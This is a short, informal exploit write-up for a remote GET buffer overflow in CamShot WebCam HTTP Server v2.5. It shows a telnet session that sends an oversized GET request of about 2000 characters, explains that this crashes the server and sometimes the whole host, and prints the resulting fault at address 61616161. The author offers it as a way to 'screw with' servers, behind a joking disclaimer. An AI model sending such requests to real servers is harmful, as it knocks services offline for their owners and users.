#Kill a Cam Version 1x
#Remote GET Buffer Overflow Vulnerability in CamShot WebCam HTTP
----------------------------------------------------------------

#Intro
_ So im sure you might have seen this little trick.. but if you havent, its a rather funny
way to screw with a server running CamShot WebCam HTTP Server v2.5.  As always, this is
for you information only, hacking is bad, it make mes cry... im starting to cry thinking
about it now.. see what you've done??!

#Affects
_ As far as I know, for sure it affects Win9x, I am yet to find an NT, ME, or 2000 box
running it.

#The Code
[lucid@localhost]$ telnet www.test.com 80
Trying test.com...
Connected to www.test.com
Escape character is '^]'.
GET (buffer) HTTP/1.1
(enter)
(enter)

#Why
_ (buffer) is about 2000 charicters, requesting this cuases the server to over flow
itself, and in time, crashing the software, ( once or twice on my test machine it killed
the system as well ).

#What They See
CAMSHOT caused an invalid page fault in
module <unknown> at 0000:61616161.

#Closing
